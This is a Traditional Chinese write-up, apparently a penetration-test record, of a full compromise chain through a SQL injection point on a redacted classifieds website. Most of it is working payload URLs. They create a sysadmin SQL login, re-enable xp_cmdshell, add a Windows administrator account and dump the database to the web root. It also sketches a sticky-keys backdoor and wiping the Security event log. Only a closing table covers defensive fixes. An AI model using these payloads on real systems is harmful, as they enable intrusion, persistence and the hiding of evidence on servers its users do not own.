目標:某供求資訊發布網站 https://www.xxx.com/new/new.asp?id=49。測試過程完整記錄從注入點確認、權限判斷、SQL Server 掌控、作業系統淪陷全鏈路。
| 測試 Payload | 回應 | 判斷 |
|---|---|---|
id=49' | ODBC 語法錯誤:字串語法錯誤 ... 'ID=49'' | 確認字串型注入點 |
id=49 AND 1=1 | 正常回傳頁面 | 邏輯判斷可控 |
id=49 AND 1=2 | BOF/EOF 錯誤:記錄集為空 | 確認布林盲注可行 |
id=49 AND USER_NAME()>0 | 轉換錯誤:將 nvarchar 值 "dbo" 轉換為 int 失敗 | **關鍵突破**:確認連線身份為 dbo (sysadmin 等效) |
核心洞察:錯誤訊息直接洩露 dbo,意味著注入將以 **系統管理員權限** 執行,可直接呼叫 sp_addlogin、xp_cmdshell 等高危程序。
-- 1. 新增登入
https://xxx.com/new/new.asp?id=49;EXEC master..sp_addlogin 'fmzm','fmzm';--
-- 2. 設定密碼(SP3+ 語法)
https://xxx.com/new/new.asp?id=49;EXEC master..sp_password NULL,'fmzm','fmzm';--
-- 3. 昇級 sysadmin 角色
https://xxx.com/new/new.asp?id=49;EXEC master..sp_addsrvrolemember 'fmzm','sysadmin';--
-- 註:參數順序偶爾需互換 'fmzm','sysadmin' ↔ 'sysadmin','fmzm'
-- 1. 啟用 xp_cmdshell(若已移除)
https://xxx.com/new/new.asp?id=49;EXEC master..sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
-- 2. 建立系統帳號(完整參數確保可登入)
https://xxx.com/new/new.asp?id=49;EXEC master..xp_cmdshell
'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
-- 3. 加入 Administrators 群組
https://xxx.com/new/new.asp?id=49;EXEC master..xp_cmdshell
'net localgroup administrators fmzm /add';--
關鍵參數解析:/workstations:* 允許所有工作站、/times:all 全天候、/active:yes 啟用帳號、/passwordchg:yes 允許變更密碼、/passwordreq:yes 強制密碼。缺少這些參數建立的帳號常因策略限制無法登入。
fmzm/fmzm 直接登入伺服器;xp_regwrite 映像劫持 sethc.exe → Shift 5 次喚起 SYSTEM 權限 CMD;xp_cmdshell 'wevtutil cl Security' 清除安全性事件日誌。-- 取得資料庫名稱
.../new.asp?id=49 AND DB_NAME()>0
-- 備份資料庫至 Web 目錄下載(需寫入權限)
.../new.asp?id=49;BACKUP DATABASE TargetDB TO DISK='C:\Inetpub\wwwroot\1.bak';--
-- 列舉資料表結構
.../new.asp?id=49;SELECT name FROM sysobjects WHERE xtype='U';--
| 失敗防禦層 | 缺口 | 正確做法 |
|---|---|---|
| 輸入驗證 | id 參數未驗證數字型別,直接拼接 SQL | 參數化查詢 / Convert.ToInt32(Request["id"]) 強型別 |
| 錯誤訊息回顯 | 詳細 ODBC 錯誤直接顯示於頁面 | 生產環境 customErrors mode="RemoteOnly",統一錯誤頁 |
| 資料庫帳號權限 | Web 應用使用 sysadmin (dbo) 連線 | 專用低權限帳號,僅 EXECUTE 預存程序 |
| 危險擴展程序 | xp_cmdshell、sp_addlogin 可用 | 移除或撤銷 PUBLIC 執行權限 |
| 網路隔離 | 資料庫伺服器直接暴露於 Web 伺服器同網段 | DB 獨立 VLAN,僅允許 Web 伺服器 IP 存取 1433 |
本案例展示:**單一注入點 + sysadmin 連線 + 危險擴展程序 = 完整伺服器淪陷**。攻擊鏈每一環皆為配置失誤疊加所致。防禦核心不在「過濾特殊字元」,而在於:**參數化查詢消除注入可能性 + 最小權限限制注入影響範圍 + 強化配置移除利用工具**。三者缺一不可。